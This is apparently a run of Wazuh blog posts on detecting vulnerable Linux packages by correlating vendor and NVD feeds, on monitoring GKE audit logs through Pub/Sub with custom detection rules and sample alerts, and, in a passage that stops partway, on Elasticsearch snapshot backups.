Detecting vulnerable software on Linux systems

The Wazuh security platform can identify if the software installed on your endpoints has flaws that may affect your infrastructure security, so it detects vulnerable software. In a previous post, we showed how to scan Windows systems to determine which vulnerabilities affect them, showcasing Wazuh integration with the National Vulnerability Database (NVD).

For this blog post we will focus on Wazuh support for Linux platforms, including distributions such as CentOS, Red Hat, Debian, or Ubuntu. Detecting vulnerabilities on these systems presents a challenge, since it requires integrations with different data feeds.

Vulnerabilities data sources

Wazuh retrieves information from different Linux vendors, which it uses to identify vulnerable software on the monitored endpoints. Here are some CVE (Common Vulnerabilities and Exposures) statistics from these vendors:

Ubuntu vulnerabilities reported for each version supported by Wazuh.

Debian vulnerable software reported for each version supported by Wazuh.

RHEL vulnerable software reported by year since 2010.

These charts expose the first challenge of vulnerability detection: data normalization. Wazuh not only pulls information from the different vendor feeds, but it processes the data so it can be used to identify vulnerabilities when scanning a list of applications.

The second challenge is that the vendor feeds only provide information about the packages published in their repositories. So, what about third-party packages? Can we detect vulnerabilities in those cases? This is where the NVD (National Vulnerability Database) comes in handy. It aggregates vulnerability information from a large number of applications and operating systems. For comparison with the Linux vendor charts, here is the number of CVEs included in the NVD database.

NVD vulnerable software reported by year since 2010.

To see how useful the NVD data is, let’s see an example.

CVE-2019-0122

According to the NVD, this vulnerability affects the Intel(R) SGX SDK for Linux. More specifically, it affects all its software packages up to version 2.2.

In this case, the vendor website claims that the vulnerable versions of the package (the ones before version 2.2) can be installed on Ubuntu 16.04 and RHEL 7. Unfortunately, the Ubuntu and RHEL vulnerability feeds do not include this CVE . The reason, as expected, is that their repositories do not provide this software package.

At this point we wonder if the NVD includes this vulnerability. Which data feed should we trust? The answer presents another challenge for proper vulnerability detection: data correlation.

Vulnerability Detector architecture and workflow

The next diagram depicts the Vulnerability Detector architecture. This Wazuh component has been designed to simplify the addition of new vulnerability data sources, so support for other platforms and vendors can be added in the future.

At first, the Vulnerability Detector module downloads and stores all vulnerabilities data from different sources. Then, it analyzes the list of software packages installed on each monitored endpoint, previously gathered by the Wazuh agent component. This analysis is done correlating information from the different data sources, generating alerts when a software package is identified as vulnerable.

Vulnerability Detector Architecture Diagram

Analysis workflow

To fully understand the process of data correlation, let’s see step by step what the Vulnerability Detector module is doing when analyzing a list of Linux packages.

  1. At first, it reads the list of packages installed on the monitored endpoint. This information is collected by the Wazuh agent.
  2. For each software package, using the Linux vendors and NVD feeds, it now looks for CVEs with the same package name.
  3. When the package name is affected, it now checks that the package version is also reported as vulnerable in the CVE report.
  4. When both software attributes, the package name and its version, are reported as vulnerable then correlation is done looking for false positives. Alerts are discarded when:
    • For a CVE reported by the NVD, the Linux vendor states that the package is patched or not affected.
    • For a CVE that requires multiple software packages present, one or more packages are missing.
    • For a CVE reported by a Linux vendor, the NVD identifies the software as not affected.
  5. Finally, after the correlation is done, the Vulnerability Detector module alerts on vulnerable software when necessary.

Reviewing detected vulnerabilities in the UI

After the process mentioned above is completed, we can find the CVE alerts in the Wazuh User Interface. To see the details of these alerts, let’s take an interesting example: the CVE-2020-8835.

This is a Linux kernel vulnerability that affects the BPF (Berkeley Packet Filter) component and can be used to achieve local privilege escalation in Ubuntu systems. It was exploited during the recent Pwn2Own 2020 computer hacking contest, to go from a standard user to root.

Alert for CVE-2020-8835 in Kibana app. Vulnerable software

Conclusion

The correlation of the vulnerability data, provided by each Linux vendor and NVD feeds, gives Wazuh the ability to report known CVEs for software packages that are not provided by the official Linux vendor repositories. Besides, it shortens the detection time to the fastest CVE publisher and helps discard false positives. Finally, it enriches the data provided by the alerts, giving users more context around the detected vulnerabilities.

References

If you have any questions about this, don’t hesitate to check out our documentation to learn more about Wazuh or join our community where our team and contributors will help you.

The post Detecting vulnerable software on Linux systems appeared first on Wazuh.

Monitoring GKE audit logs

Kubernetes (K8s) is an open-source system for automating deployment, scaling, and managing containerized applications. Today, it is the most widely used container orchestration platform. This is why monitoring GKE audit logs on your Kubernetes infrastructure is vital for improving your security posture, detecting possible intrusions, and identifying unauthorized actions.

The first step to gain visibility into your Kubernetes deployment is to monitor its audit logs. They provide a security-relevant chronological set of records, documenting the sequence of activities that have taken place in the system.

Depending on your Kubernetes infrastructure, you can use one of these two different options to monitor your audit logs:

  • Self managed infrastructure. In this case you have full access to the Kubernetes cluster and you control the configuration of all of its components. In this scenario, to monitor your audit logs, please follow this previous Auditing Kubernetes blog post.
  • Provider managed infrastructure. In this case, the service provider handles the Kubernetes control plane for you. This is usually the case when using cloud services (e.g. Amazon AWS, Microsoft Azure, Google Cloud). Below, I will show you how to monitor Kubernetes audit logs when running Google Cloud GKE service.

Google Cloud configuration

This diagram illustrates the flow of information between the different Google Cloud components and Wazuh:

Google Cloud to Wazuh data flow

The rest of this section assumes that you have a GKE cluster running in your environment. If you don’t have one, and want to set up a lab environment, you can follow this quickstart.

Google Kubernetes Engine

Google Kubernetes Engine (GKE) provides a mechanism for deploying, managing, and scaling your containerized applications using Google infrastructure. Its main benefits are:

Google Operations suite, formerly Stackdriver, is a central repository that receives logs, metrics, and application traces from Google Cloud resources. One of the tools included in this suite, the Google Audit Logs, maintains audit trails to help answer the questions of “who did what, where, and when?” within your GKE infrastructure.

Audit logs, the same as other logs, are automatically sent to the Cloud Logging API where they pass through the Logs Router. The Logs Router checks each log entry against existing rules to determine which log entries to ingest (store), which log entries to include in exports, and which log entries to discard.

Exporting audit logs involves writing a filter that selects the log entries that you want to export, and choosing one of the following destinations for them:

  • Cloud Storage. Allows world-wide storage and retrieval of any amount of data at any time.
  • BigQuery. Fully managed analytics data warehouse that enables you to run analytics over vast amounts of data in near real-time.
  • Cloud Logging. Allows you to store, search, analyze, monitor, and alert on logging data.
  • Pub/Sub. Fully-managed real-time messaging service that allows you to send and receive messages between independent applications.

Wazuh uses Pub/Sub to retrieve information from different services, including GKE audit logs.

Pub/Sub

Pub/Sub is an asynchronous messaging tool that decouples services that produce events from services that process events. You can use it as messaging-oriented middleware or event ingestion and delivery for streaming analytics pipelines.

The main concepts that you need to know are:

  • Topic. A named resource to which messages are sent by publishers.
  • Subscription. A named resource representing the stream of messages from a single, specific topic, to be delivered to the subscribing application.
  • Message. The combination of data and (optional) attributes that a publisher sends to a topic and is eventually delivered to subscribers.

Topic

Before a publisher sends events to Pub/Sub you need to create a topic that will gather the information.

For this, go to the Pub/Sub > Topics section and click on Create topic, then give it a name:

Google Cloud topic

Subscription

The subscription will then be used by the Wazuh module to read GKE audit logs.

Navigate to the Pub/Sub > Subscriptions section and click on Create subscription:

Google Cloud create subscription

Next, fill in the Subscription ID, select the topic that you previously created, make sure that the delivery type is Pull, and click on Create:

Google Cloud subscription menu

Service account

Google Cloud uses service accounts to delegate permissions to applications instead of persons. In this case, you will create one for the Wazuh module to access the previous subscription.

Go to IAM & Admin > Service accounts and click on Create service account:

Google Cloud create service account

Provide a name for it and optionally add a description:

Google Cloud service account name

The next screen is used to add specific roles to the service account. For this use case, you want to choose the Pub/Sub Subscriber role:

Google Cloud service account role

The last menu lets you grant users access to this service account if you consider it necessary:

Google Cloud service account user access

Once the service account is created you need to generate a key for the Wazuh module to use.

You can do this from IAM & Admin > Service accounts. Select the one that you just created, then click on Add key, and make sure that you select a JSON key type:

Google Cloud service account key

The Google cloud interface will automatically download a JSON file containing the credentials to your computer. You will use it later on when configuring the Wazuh module.

Log routing

Now that the Pub/Sub configuration is ready you need to publish the GKE audit logs to the Pub/Sub topic defined above.

Before you do that, it is worth mentioning that Google Cloud uses three types of audit logs for each of your projects:

  • Admin activity. Contains log entries for API calls or other administrative actions that modify the configuration or metadata of resources.
  • Data access. Contains API calls that read the configuration or metadata of resources, as well as user-driven API calls that create, modify, or read user-provided resource data.
  • System event. Contains log entries for Google Cloud administrative actions that modify the configuration of resources. Not relevant to this use case.

Admin activity logging is enabled by default, but if you want to enable data access logging there are additional steps to consider.

Go to IAM & Admin > Audit Logs and select Kubernetes Engine API, then turn on the log types that you wish to get information from and click on Save:

Google Cloud data access

Now, for the log routing configuration, navigate to Logging > Logs Router and click on Create sink, choosing Cloud Pub/Sub topic as its destination:

Google Cloud create sink

In the next menu, choose the logs filtered by the sink from a dropdown that lets you select different resources within your Google cloud project. Look for the Kubernetes Cluster resource type.

Finally, provide a name for the sink and, for the Sink Destination, select the topic that you previously created:

Google Cloud sink destination

Wazuh configuration

The Wazuh module for Google Cloud monitoring can be configured in both the Wazuh manager and agent, depending on where you want to fetch the information from.

The Wazuh manager already includes all the necessary dependencies to run it. On the other hand, if you wish to run it on a Wazuh agent you will need:

  • Python 3.6 or superior compatibility.
  • Pip. Standard package-management system for Python.
  • google-cloud-pubsub. Official python library to manage Google Cloud Pub/Sub resources.

Note: More information can be found at our GDP module dependencies documentation.

Keep in mind that, when using a Wazuh agent, there are two ways to add the configuration:

  • Locally. Use the agent configuration file located at /var/ossec/etc/ossec.conf.
  • Remotely. Use a configuration group defined on the Wazuh manager side. Learn more at our centralized configuration documentation.

On the other hand, if you decide to fetch GKE audit logs directly from the Wazuh manager, you can just add the GCP module configuration settings to its /var/ossec/etc/ossec.conf file.

The configuration settings for the Google Cloud module look like this:

<gcp-pubsub>
    <pull_on_start>yes</pull_on_start>
    <interval>1m</interval>
    <project_id>your_google_cloud_project_id</project_id>
    <subscription_name>GKE_subscription</subscription_name>
    <max_messages>1000</max_messages>
    <credentials_file>path_to_your_credentials.json</credentials_file>
</gcp-pubsub>

This is a breakdown of the settings:

  • pull_on_start. Start pulling data when the Wazuh manager or agent starts.
  • interval. Interval between pulling.
  • project_id. It references your Google Cloud project ID.
  • subscription_name. The name of the subscription to read from.
  • max_messages. Number of maximum messages pulled in each iteration.
  • credentials_file. Specifies the path to the Google Cloud credentials file. This is the file generated when you added the key to the service account.

You can read about these settings in the GCP module reference section of our documentation.

After adding these changes don’t forget to restart your Wazuh manager or agent.

Use cases

This section assumes that you have some basic knowledge about Wazuh rules. For more information please refer to:

Also, because GKE audit logs use the JSON format, you don’t need to take care of decoding the event fields. This is because Wazuh provides a JSON decoder out of the box.

Monitoring API calls

The most basic use case is monitoring the API calls performed in your GKE cluster. Add the following rule to your Wazuh environment:

<group name="gke,k8s,">
  <rule id="400001" level="5">
    <if_sid>65000</if_sid>
    <field name="gcp.resource.type">k8s_cluster</field>
    <description>GKE $(gcp.protoPayload.methodName) operation.</description>
    <options>no_full_log</options>
  </rule>
</group>

Note: Restart your Wazuh manager after adding it.

This is the matching criteria for this rule:

  • The parent rule for all Google Cloud rules, ID number 65000, has been matched. You can take a look at this rule in our GitHub repository.
  • The value in the gcp.resource.type field is k8s_cluster.

We will use this rule as the parent rule for every other GKE audit log.

As mentioned, Wazuh will automatically decode all of the fields in the original GKE audit log. The most important ones are:

  • methodName. Kubernetes API endpoint that was executed.
  • resourceName. Name of the resource related to the request.
  • principalEmail. User used in the request.
  • callerIP. The request origin IP .
  • receivedTimestamp. Time when the GKE cluster received the request.

Sample alerts:

{
	"timestamp": "2020-08-13T22:28:00.212+0000",
	"rule": {
		"level": 5,
		"description": "GKE io.k8s.core.v1.pods.list operation.",
		"id": "400001",
		"firedtimes": 123173,
		"mail": false,
		"groups": ["gke", "k8s"]
	},
	"agent": {
		"id": "000",
		"name": "wazuh-manager-master"
	},
	"manager": {
		"name": "wazuh-manager-master"
	},
	"id": "1597357680.1153205561",
	"cluster": {
		"name": "wazuh",
		"node": "master"
	},
	"decoder": {
		"name": "json"
	},
	"data": {
		"integration": "gcp",
		"gcp": {
			"insertId": "sanitized",
			"labels": {
				"authorization": {
					"k8s": {
						"io/decision": "allow"
					}
				}
			},
			"logName": "projects/sanitized/logs/cloudaudit.googleapis.com%2Fdata_access",
			"operation": {
				"first": "true",
				"id": "sanitized",
				"last": "true",
				"producer": "k8s.io"
			},
			"protoPayload": {
				"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
				"authenticationInfo": {
					"principalEmail": "[email protected]"
				},
				"authorizationInfo": [{
					"granted": true,
					"permission": "io.k8s.core.v1.pods.list",
					"resource": "core/v1/namespaces/default/pods"
				}],
				"methodName": "io.k8s.core.v1.pods.list",
				"requestMetadata": {
					"callerIp": "sanitized",
					"callerSuppliedUserAgent": "GoogleCloudConsole"
				},
				"resourceName": "core/v1/namespaces/default/pods",
				"serviceName": "k8s.io"
			},
			"receiveTimestamp": "2020-08-13T22:27:54.003292831Z",
			"resource": {
				"labels": {
					"cluster_name": "wazuh",
					"location": "us-central1-c",
					"project_id": "sanitized"
				},
				"type": "k8s_cluster"
			},
			"timestamp": "2020-08-13T22:27:50.611239Z"
		}
	},
	"location": "Wazuh-GCloud"
}
{
	"timestamp": "2020-08-13T22:35:46.446+0000",
	"rule": {
		"level": 5,
		"description": "GKE io.k8s.apps.v1.deployments.create operation.",
		"id": "400001",
		"firedtimes": 156937,
		"mail": false,
		"groups": ["gke", "k8s"]
	},
	"agent": {
		"id": "000",
		"name": "wazuh-manager-master"
	},
	"manager": {
		"name": "wazuh-manager-master"
	},
	"id": "1597358146.1262997707",
	"cluster": {
		"name": "wazuh",
		"node": "master"
	},
	"decoder": {
		"name": "json"
	},
	"data": {
		"integration": "gcp",
		"gcp": {
			"insertId": "sanitized",
			"labels": {
				"authorization": {
					"k8s": {
						"io/decision": "allow"
					}
				}
			},
			"logName": "projects/sanitized/logs/cloudaudit.googleapis.com%2Factivity",
			"operation": {
				"first": "true",
				"id": "sanitized",
				"last": "true",
				"producer": "k8s.io"
			},
			"protoPayload": {
				"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
				"authenticationInfo": {
					"principalEmail": "[email protected]"
				},
				"authorizationInfo": [{
					"granted": true,
					"permission": "io.k8s.apps.v1.deployments.create",
					"resource": "apps/v1/namespaces/default/deployments/nginx-1"
				}],
				"methodName": "io.k8s.apps.v1.deployments.create",
				"request": {
					"@type": "apps.k8s.io/v1.Deployment",
					"apiVersion": "apps/v1",
					"kind": "Deployment",
					"metadata": {
						"annotations": {
							"deployment": {
								"kubernetes": {
									"io/revision": "1"
								}
							},
							"kubectl": {
								"kubernetes": {
									"io/last-applied-configuration": "{"apiVersion":"apps/v1","kind":"Deployment","metadata":{"annotations":{"deployment.kubernetes.io/revision":"1"},"creationTimestamp":"2020-08-05T19:29:29Z","generation":1,"labels":{"app":"nginx-1"},"name":"nginx-1","namespace":"default","resourceVersion":"3312201","selfLink":"/apis/apps/v1/namespaces/default/deployments/nginx-1","uid":"sanitized"},"spec":{"progressDeadlineSeconds":600,"replicas":3,"revisionHistoryLimit":10,"selector":{"matchLabels":{"app":"nginx-1"}},"strategy":{"rollingUpdate":{"maxSurge":"25%","maxUnavailable":"25%"},"type":"RollingUpdate"},"template":{"metadata":{"creationTimestamp":null,"labels":{"app":"nginx-1"}},"spec":{"containers":[{"image":"nginx:latest","imagePullPolicy":"Always","name":"nginx-1","resources":{},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File"}],"dnsPolicy":"ClusterFirst","restartPolicy":"Always","schedulerName":"default-scheduler","securityContext":{},"terminationGracePeriodSeconds":30}}},"status":{"availableReplicas":3,"conditions":[{"lastTransitionTime":"2020-08-05T19:29:32Z","lastUpdateTime":"2020-08-05T19:29:32Z","message":"Deployment has minimum availability.","reason":"MinimumReplicasAvailable","status":"True","type":"Available"},{"lastTransitionTime":"2020-08-05T19:29:29Z","lastUpdateTime":"2020-08-05T19:29:32Z","message":"ReplicaSet \"nginx-1-9c9488bdb\" has successfully progressed.","reason":"NewReplicaSetAvailable","status":"True","type":"Progressing"}],"observedGeneration":1,"readyReplicas":3,"replicas":3,"updatedReplicas":3}}n"
								}
							}
						},
						"creationTimestamp": "2020-08-05T19:29:29Z",
						"generation": "1",
						"labels": {
							"app": "nginx-1"
						},
						"name": "nginx-1",
						"namespace": "default",
						"selfLink": "/apis/apps/v1/namespaces/default/deployments/nginx-1",
						"uid": "sanitized"
					},
					"spec": {
						"progressDeadlineSeconds": "600",
						"replicas": "3",
						"revisionHistoryLimit": "10",
						"selector": {
							"matchLabels": {
								"app": "nginx-1"
							}
						},
						"strategy": {
							"rollingUpdate": {
								"maxSurge": "25%",
								"maxUnavailable": "25%"
							},
							"type": "RollingUpdate"
						},
						"template": {
							"metadata": {
								"creationTimestamp": "null",
								"labels": {
									"app": "nginx-1"
								}
							},
							"spec": {
								"containers": [{
									"image": "nginx:latest",
									"imagePullPolicy": "Always",
									"name": "nginx-1",
									"resources": {},
									"terminationMessagePath": "/dev/termination-log",
									"terminationMessagePolicy": "File"
								}],
								"dnsPolicy": "ClusterFirst",
								"restartPolicy": "Always",
								"schedulerName": "default-scheduler",
								"terminationGracePeriodSeconds": "30"
							}
						}
					},
					"status": {
						"availableReplicas": "3",
						"conditions": [{
							"lastTransitionTime": "2020-08-05T19:29:32Z",
							"lastUpdateTime": "2020-08-05T19:29:32Z",
							"message": "Deployment has minimum availability.",
							"reason": "MinimumReplicasAvailable",
							"status": "True",
							"type": "Available"
						}, {
							"lastTransitionTime": "2020-08-05T19:29:29Z",
							"lastUpdateTime": "2020-08-05T19:29:32Z",
							"message": "ReplicaSet "nginx-1-9c9488bdb" has successfully progressed.",
							"reason": "NewReplicaSetAvailable",
							"status": "True",
							"type": "Progressing"
						}],
						"observedGeneration": "1",
						"readyReplicas": "3",
						"replicas": "3",
						"updatedReplicas": "3"
					}
				},
				"requestMetadata": {
					"callerIp": "sanitized",
					"callerSuppliedUserAgent": "kubectl/v1.18.6 (linux/amd64) kubernetes/dff82dc"
				},
				"resourceName": "apps/v1/namespaces/default/deployments/nginx-1",
				"response": {
					"@type": "apps.k8s.io/v1.Deployment",
					"apiVersion": "apps/v1",
					"kind": "Deployment",
					"metadata": {
						"annotations": {
							"deployment": {
								"kubernetes": {
									"io/revision": "1"
								}
							},
							"kubectl": {
								"kubernetes": {
									"io/last-applied-configuration": "{"apiVersion":"apps/v1","kind":"Deployment","metadata":{"annotations":{"deployment.kubernetes.io/revision":"1"},"creationTimestamp":"2020-08-05T19:29:29Z","generation":1,"labels":{"app":"nginx-1"},"name":"nginx-1","namespace":"default","resourceVersion":"3312201","selfLink":"/apis/apps/v1/namespaces/default/deployments/nginx-1","uid":"sanitized"},"spec":{"progressDeadlineSeconds":600,"replicas":3,"revisionHistoryLimit":10,"selector":{"matchLabels":{"app":"nginx-1"}},"strategy":{"rollingUpdate":{"maxSurge":"25%","maxUnavailable":"25%"},"type":"RollingUpdate"},"template":{"metadata":{"creationTimestamp":null,"labels":{"app":"nginx-1"}},"spec":{"containers":[{"image":"nginx:latest","imagePullPolicy":"Always","name":"nginx-1","resources":{},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File"}],"dnsPolicy":"ClusterFirst","restartPolicy":"Always","schedulerName":"default-scheduler","securityContext":{},"terminationGracePeriodSeconds":30}}},"status":{"availableReplicas":3,"conditions":[{"lastTransitionTime":"2020-08-05T19:29:32Z","lastUpdateTime":"2020-08-05T19:29:32Z","message":"Deployment has minimum availability.","reason":"MinimumReplicasAvailable","status":"True","type":"Available"},{"lastTransitionTime":"2020-08-05T19:29:29Z","lastUpdateTime":"2020-08-05T19:29:32Z","message":"ReplicaSet \"nginx-1-9c9488bdb\" has successfully progressed.","reason":"NewReplicaSetAvailable","status":"True","type":"Progressing"}],"observedGeneration":1,"readyReplicas":3,"replicas":3,"updatedReplicas":3}}n"
								}
							}
						},
						"creationTimestamp": "2020-08-13T22:30:03Z",
						"generation": "1",
						"labels": {
							"app": "nginx-1"
						},
						"name": "nginx-1",
						"namespace": "default",
						"resourceVersion": "7321553",
						"selfLink": "/apis/apps/v1/namespaces/default/deployments/nginx-1",
						"uid": "sanitized"
					},
					"spec": {
						"progressDeadlineSeconds": "600",
						"replicas": "3",
						"revisionHistoryLimit": "10",
						"selector": {
							"matchLabels": {
								"app": "nginx-1"
							}
						},
						"strategy": {
							"rollingUpdate": {
								"maxSurge": "25%",
								"maxUnavailable": "25%"
							},
							"type": "RollingUpdate"
						},
						"template": {
							"metadata": {
								"creationTimestamp": "null",
								"labels": {
									"app": "nginx-1"
								}
							},
							"spec": {
								"containers": [{
									"image": "nginx:latest",
									"imagePullPolicy": "Always",
									"name": "nginx-1",
									"resources": {},
									"terminationMessagePath": "/dev/termination-log",
									"terminationMessagePolicy": "File"
								}],
								"dnsPolicy": "ClusterFirst",
								"restartPolicy": "Always",
								"schedulerName": "default-scheduler",
								"terminationGracePeriodSeconds": "30"
							}
						}
					}
				},
				"serviceName": "k8s.io"
			},
			"receiveTimestamp": "2020-08-13T22:30:11.0687738Z",
			"resource": {
				"labels": {
					"cluster_name": "wazuh",
					"location": "us-central1-c",
					"project_id": "sanitized"
				},
				"type": "k8s_cluster"
			},
			"timestamp": "2020-08-13T22:30:03.273929Z"
		}
	},
	"location": "Wazuh-GCloud"
}
{
	"timestamp": "2020-08-13T22:35:43.388+0000",
	"rule": {
		"level": 5,
		"description": "GKE io.k8s.apps.v1.deployments.delete operation.",
		"id": "400001",
		"firedtimes": 156691,
		"mail": false,
		"groups": ["gke", "k8s"]
	},
	"agent": {
		"id": "000",
		"name": "wazuh-manager-master"
	},
	"manager": {
		"name": "wazuh-manager-master"
	},
	"id": "1597358143.1262245503",
	"cluster": {
		"name": "wazuh",
		"node": "master"
	},
	"decoder": {
		"name": "json"
	},
	"data": {
		"integration": "gcp",
		"gcp": {
			"insertId": "sanitized",
			"labels": {
				"authorization": {
					"k8s": {
						"io/decision": "allow"
					}
				}
			},
			"logName": "projects/sanitized/logs/cloudaudit.googleapis.com%2Factivity",
			"operation": {
				"first": "true",
				"id": "sanitized",
				"last": "true",
				"producer": "k8s.io"
			},
			"protoPayload": {
				"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
				"authenticationInfo": {
					"principalEmail": "[email protected]"
				},
				"authorizationInfo": [{
					"granted": true,
					"permission": "io.k8s.apps.v1.deployments.delete",
					"resource": "apps/v1/namespaces/default/deployments/nginx-1"
				}],
				"methodName": "io.k8s.apps.v1.deployments.delete",
				"request": {
					"@type": "apps.k8s.io/v1.DeleteOptions",
					"apiVersion": "apps/v1",
					"kind": "DeleteOptions",
					"propagationPolicy": "Background"
				},
				"requestMetadata": {
					"callerIp": "sanitized",
					"callerSuppliedUserAgent": "kubectl/v1.18.6 (linux/amd64) kubernetes/dff82dc"
				},
				"resourceName": "apps/v1/namespaces/default/deployments/nginx-1",
				"response": {
					"@type": "core.k8s.io/v1.Status",
					"apiVersion": "v1",
					"details": {
						"group": "apps",
						"kind": "deployments",
						"name": "nginx-1",
						"uid": "sanitized"
					},
					"kind": "Status",
					"status": "Success"
				},
				"serviceName": "k8s.io"
			},
			"receiveTimestamp": "2020-08-13T22:29:41.400971862Z",
			"resource": {
				"labels": {
					"cluster_name": "wazuh",
					"location": "us-central1-c",
					"project_id": "sanitized"
				},
				"type": "k8s_cluster"
			},
			"timestamp": "2020-08-13T22:29:31.727777Z"
		}
	},
	"location": "Wazuh-GCloud"
}

Detecting forbidden API calls

Kubernetes audit logs include information about the decision made by the authorization realm for every request. This can be used to generate specific, and more severe alerts:

<group name="gke,k8s,">
  <rule id="400002" level="10">
    <if_sid>400001</if_sid>
    <field name="gcp.labels.authorization.k8s.io/decision">forbid</field>
    <description>GKE forbidden $(gcp.protoPayload.methodName) operation.</description>
    <options>no_full_log</options>
    <group>authentication_failure</group>
  </rule>
</group>

Note: Restart your Wazuh manager after adding the new rule.

As you can see, this is a child rule of the previous one, but now Wazuh will look for the value forbid within the gcp.labels.authorization.k8s.io/decision field in the GKE audit log.

Sample alert:

{
	"timestamp": "2020-08-17T17:37:24.766+0000",
	"rule": {
		"level": 10,
		"description": "GKE forbidden io.k8s.core.v1.namespaces.get operation.",
		"id": "400002",
		"firedtimes": 34,
		"mail": false,
		"groups": ["gke", "k8s", "authentication_failure"]
	},
	"agent": {
		"id": "000",
		"name": "wazuh-manager-master"
	},
	"manager": {
		"name": "wazuh-manager-master"
	},
	"id": "1597685844.137642087",
	"cluster": {
		"name": "wazuh",
		"node": "master"
	},
	"decoder": {
		"name": "json"
	},
	"data": {
		"integration": "gcp",
		"gcp": {
			"insertId": "sanitized",
			"labels": {
				"authorization": {
					"k8s": {
						"io/decision": "forbid"
					}
				}
			},
			"logName": "projects/gke-audit-logs/logs/cloudaudit.googleapis.com%2Fdata_access",
			"operation": {
				"first": "true",
				"id": "sanitized",
				"last": "true",
				"producer": "k8s.io"
			},
			"protoPayload": {
				"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
				"authorizationInfo": [{
					"permission": "io.k8s.core.v1.namespaces.get",
					"resource": "core/v1/namespaces/kube-system",
					"resourceAttributes": {}
				}],
				"methodName": "io.k8s.core.v1.namespaces.get",
				"requestMetadata": {
					"callerIp": "sanitized",
					"callerSuppliedUserAgent": "kubectl/v1.14.1 (linux/amd64) kubernetes/b739410"
				},
				"resourceName": "core/v1/namespaces/kube-system",
				"serviceName": "k8s.io",
				"status": {
					"code": "7",
					"message": "PERMISSION_DENIED"
				}
			},
			"receiveTimestamp": "2020-08-17T17:37:21.457664025Z",
			"resource": {
				"labels": {
					"cluster_name": "wazuh",
					"location": "us-central1-c",
					"project_id": "sanitized"
				},
				"type": "k8s_cluster"
			},
			"timestamp": "2020-08-17T17:37:06.693205Z"
		}
	},
	"location": "Wazuh-GCloud"
}

Detecting a malicious actor

You can integrate Wazuh with threat intelligence sources, such as the OTX IP addresses reputation database, to detect if the origin of a request to your GKE cluster is a well-known malicious actor.

For instance, Wazuh can check if an event field is contained within a CDB list (constant database).

For this use case, please follow the CDB lists blog post as it will guide you to set up the OTX IP reputation list in your Wazuh environment.

Then add the following rule:

<group name="gke,k8s,">
  <rule id="400003" level="10">
    <if_group>gke</if_group>
    <list field="gcp.protoPayload.requestMetadata.callerIp" lookup="address_match_key">etc/lists/blacklist-alienvault</list>
    <description>GKE request originated from malicious actor.</description>
    <options>no_full_log</options>
    <group>attack</group>
  </rule>
</group>

Note: Restart your Wazuh manager to load the new rule.

This rule will trigger when:

  • A rule from the gke rule group triggers.
  • The field gcp.protoPayload.requestMetadata.callerIP, which stores the origin IP for the GKE request, is contained within the CDB list.

Sample alert:

{
	"timestamp": "2020-08-17T17:09:25.832+0000",
	"rule": {
		"level": 10,
		"description": "GKE request originated from malicious source IP.",
		"id": "400003",
		"firedtimes": 45,
		"mail": false,
		"groups": ["gke", "k8s", "attack"]
	},
	"agent": {
		"id": "000",
		"name": "wazuh-manager-master"
	},
	"manager": {
		"name": "wazuh-manager-master"
	},
	"id": "1597684165.132232891",
	"cluster": {
		"name": "wazuh",
		"node": "master"
	},
	"decoder": {
		"name": "json"
	},
	"data": {
		"integration": "gcp",
		"gcp": {
			"insertId": "sanitized",
			"labels": {
				"authorization": {
					"k8s": {
						"io/decision": "allow"
					}
				}
			},
			"logName": "projects/gke-audit-logs/logs/cloudaudit.googleapis.com%2Fdata_access",
			"operation": {
				"first": "true",
				"id": "sanitized",
				"last": "true",
				"producer": "k8s.io"
			},
			"protoPayload": {
				"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
				"authenticationInfo": {
					"principalEmail": "[email protected]"
				},
				"authorizationInfo": [{
					"granted": true,
					"permission": "io.k8s.core.v1.pods.list",
					"resource": "core/v1/namespaces/default/pods"
				}],
				"methodName": "io.k8s.core.v1.pods.list",
				"requestMetadata": {
					"callerIp": "sanitized",
					"callerSuppliedUserAgent": "kubectl/v1.18.6 (linux/amd64) kubernetes/dff82dc"
				},
				"resourceName": "core/v1/namespaces/default/pods",
				"serviceName": "k8s.io"
			},
			"receiveTimestamp": "2020-08-17T17:09:19.068723691Z",
			"resource": {
				"labels": {
					"cluster_name": "wazuh",
					"location": "us-central1-c",
					"project_id": "sanitized"
				},
				"type": "k8s_cluster"
			},
			"timestamp": "2020-08-17T17:09:05.043988Z"
		}
	},
	"location": "Wazuh-GCloud"
}

Custom dashboards

You can also create custom dashboards from GKE audit logs to easily query and address this information:

GKE audit logs dashboard

Refer in the following link for more information about custom dashboards.

References

The post Monitoring GKE audit logs appeared first on Wazuh.

Index backup management

In this post you will find how to configure Elasticsearch to automatically back up your Wazuh indices in local or Cloud-based storage and restore them at any given time, both for standard Elastic and Open Distro. This will provide the opportunity to leverage a more resource-efficient destination for rarely accessed data.

The Wazuh Open Source Security Platform integrates with the Elastic Stack to allow you to quickly access and visualize alert information, greatly helping during an audit or forensic analysis process, among other tasks including threat hunting, incident response and security operations analysis.

For increased reliability and storage management, it’s good practice to back up critical information in any system. Your security data is of course not the exception.

Snapshots

A snapshot is a backup taken from a running Elasticsearch cluster. You can take snapshots of an entire cluster, including all or any of its indices.

It is worth mentioning that snapshots are incremental; a newer snapshot of an index will only store information that is not part of the previous one, thus reducing overhead.

First, you need to create a repository, which is where the data will be stored. There are different types of repositories:

  • Filesystem. Uses the filesystem of the machine where Elasticsearch is running to store the snapshot.
  • Read-only URL. Used when the same repository is registered in multiple clusters. Only one of them should have write access to it.
  • Source only. Minimal snapshots that can take up to 50% less space on disk.
  • AWS S3. The information is stored in an S3 bucket. A plugin is required.
  • Azure. It leverages Azure storage as the backend. A plugin is required.
  • GCS. Uses Google Cloud Storage to store the snapshots. A plugin is required.
  • HDFS. Uses Hadoop’s highly fault-tolerant filesystem, designed for AI workloads. A plugin is required.

The following sections will showcase how to use filesystem and Amazon S3 bucket repositories. Configuration for other repositories will be similar.

Filesystem based repository

You can create snapshots using Elasticsearch’s computer filesystem, typically specifying a mount point that has more storage. It does not need to be a high-performance SSD.

For example, you can use the path /mount/elasticsearch_backup. Ensure that it is writeable by the Elasticsearch user:

chown elasticsearch: /mount/elasticsearch_backup/

Then add this folder as a repository in Elasticsearch’s configuration file, located at /etc/elasticsearch/elasticsearch.yml:

path.repo: ["/mount/elasticsearch_backup"]

Don’t forget to restart the Elasticsearch service for the change to take effect:

